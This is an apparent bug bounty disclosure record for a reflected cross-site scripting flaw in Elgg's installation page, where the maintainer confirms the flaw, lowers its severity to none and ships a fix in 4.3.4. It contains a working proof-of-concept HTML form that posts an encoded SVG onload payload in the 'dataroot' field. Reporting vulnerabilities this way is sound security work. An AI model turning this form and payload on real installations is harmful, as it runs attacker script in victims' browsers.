POST Based Reflected Cross Site Scripting in installation page in elgg/elgg


Reported on

Oct 9th 2022


The installation page in Elgg ≤ v4.3.3 is vulnerable to Cross-Site Scripting attack via 'dataroot' parameter.

Steps to Reproduce

  1. Freshly install the Elgg in your web-server and proceed to "Database Installation Page".

  2. Enter the following payload in "Data Directory" field and fill other field and click on next button.


3.Cross Site Scripting will be triggered.

The cross site scripting vulnerability can be triggered with 0 click interaction too. Open the following html file in any web-browser, replace localhost with your server's address & xss will be triggered.

  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/sites/11/install.php?step=database" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="dbuser" value="suvam" />
      <input type="hidden" name="dbpassword" value="" />
      <input type="hidden" name="dbname" value="elgg" />
      <input type="hidden" name="dbhost" value="localhost" />
      <input type="hidden" name="dbport" value="3306" />
      <input type="hidden" name="dbprefix" value="elgg&#95;" />
      <input type="hidden" name="dataroot" value="&lt;svg&#47;onload&#61;confirm&#40;&#47;xss&#47;&#41;&gt;" />
      <input type="hidden" name="wwwroot" value="http&#58;&#47;&#47;localhost&#47;sites&#47;11&#47;" />
      <input type="hidden" name="timezone" value="UTC" />
      <input type="submit" value="Submit request" />

Proof of Concept :


Proper encoding of users input must be done before passing into HTTP response body.


Attacker is able to execute malicious javascript in victims browser that can be exploited for various malicious purpose.


We are processing your report and will contact the elgg team within 24 hours. a year ago
A GitHub Issue asking the maintainers to create a exists a year ago
We have contacted a member of the elgg team and are waiting to hear back a year ago
elgg/elgg maintainer has acknowledged this report a year ago
Jerôme Bakker
a year ago


I tried to reproduce your issue.

I can confirm that is works on a Elgg website which hasn't completed the installation yet. Once the installation has been completed this issue no longer applies.

So I can't see the security risk to a user yet. Any feedback?

Suvam Adhikari
a year ago


Dear @maintainer ,

Sorry for late update. I dont see any impact yet.

Kind Regards, @WHOISshuvam

Jerôme Bakker
a year ago


@admin I'd like to confirm this issue as it does exists however I don't see an exploit as this only works on an uninstalled website. Installing the website would takes 5-30 minutes in which time the exploit exists.

We're going to fix the issue, but I don't agree with the severity and that a CVE should be issued.

Any help would be appreciated

a year ago


Hi @maintainer! We will opt this report out of a CVE. In the meantime feel free revise the severity from the right hand section of the page (Severity > Edit).

Hope that helps!

Jerôme Bakker modified the Severity from Medium (6.5) to None (0) a year ago
The researcher has received a minor penalty to their credibility for miscalculating the severity: -1
Jerôme Bakker validated this vulnerability a year ago
Suvam Adhikari has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Ben Harvie
a year ago


Hi Jerome, I can see that you have dropped the severity of the vulnerability to "None", this will prevent the report from receiving a CVE and this will be confirmed at the Publish stage.

We have sent a fix follow up to the elgg team. We will try again in 7 days. a year ago
Jerôme Bakker marked this as fixed in 4.3.4 with commit 966f1c a year ago
Jerôme Bakker has been awarded the fix bounty
This vulnerability will not receive a CVE
Jerôme Bakker published this vulnerability a year ago
to join this conversation